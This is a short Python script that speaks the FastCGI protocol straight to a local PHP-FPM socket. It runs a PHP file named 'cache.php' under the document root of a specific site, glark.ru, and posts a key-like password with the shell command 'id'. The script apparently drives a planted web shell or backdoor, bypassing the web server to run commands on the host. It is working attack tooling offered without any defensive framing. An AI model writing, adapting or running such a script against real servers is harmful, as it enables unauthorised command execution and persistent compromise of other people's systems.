import socket,struct,sys,urllib.parse
def enc(p):
    r=b''
    for k,v in p.items():
        for b in (k.encode(),v.encode()):
            if len(b)<128: r+=struct.pack('B',len(b))
            else: r+=struct.pack('!I',len(b)|0x80000000)
        r+=k.encode()+v.encode()
    return r
def run(sf,body=b'',q='',xc=None):
    p={'GATEWAY_INTERFACE':'CGI/1.1','REQUEST_METHOD':'POST' if body else 'GET','CONTENT_TYPE':'application/x-www-form-urlencoded','CONTENT_LENGTH':str(len(body)),'SCRIPT_FILENAME':sf,'SCRIPT_NAME':'/x.php','REQUEST_URI':'/x.php','QUERY_STRING':q,'SERVER_PROTOCOL':'HTTP/1.1','REMOTE_ADDR':'127.0.0.1','SERVER_NAME':'glark.ru','SERVER_PORT':'80','SERVER_ADDR':'127.0.0.1','REDIRECT_STATUS':'200','DOCUMENT_ROOT':'/var/www/glarkru/data/www/glark.ru','HTTP_HOST':'glark.ru'}
    if xc: p['HTTP_X_C']=xc
    out=struct.pack('!BBHH',1,1,1,8)+struct.pack('!HB',1,0)
    pd=enc(p)
    out+=struct.pack('!BBHH',1,4,1,len(pd))+pd
    out+=struct.pack('!BBHH',1,4,1,0)
    if body:
        out+=struct.pack('!BBHH',1,5,1,len(body))+body
    out+=struct.pack('!BBHH',1,5,1,0)
    s=socket.create_connection(('127.0.0.1',9000),4)
    s.settimeout(5)
    s.sendall(out)
    data=b''
    while True:
        try: c=s.recv(65536)
        except socket.timeout: break
        if not c: break
        data+=c
    return data
d=run('/var/www/glarkru/data/www/glark.ru/cache.php',body=b'k=gL4rK_js9&q=id')
print('CACHE:',repr(d[:500]))
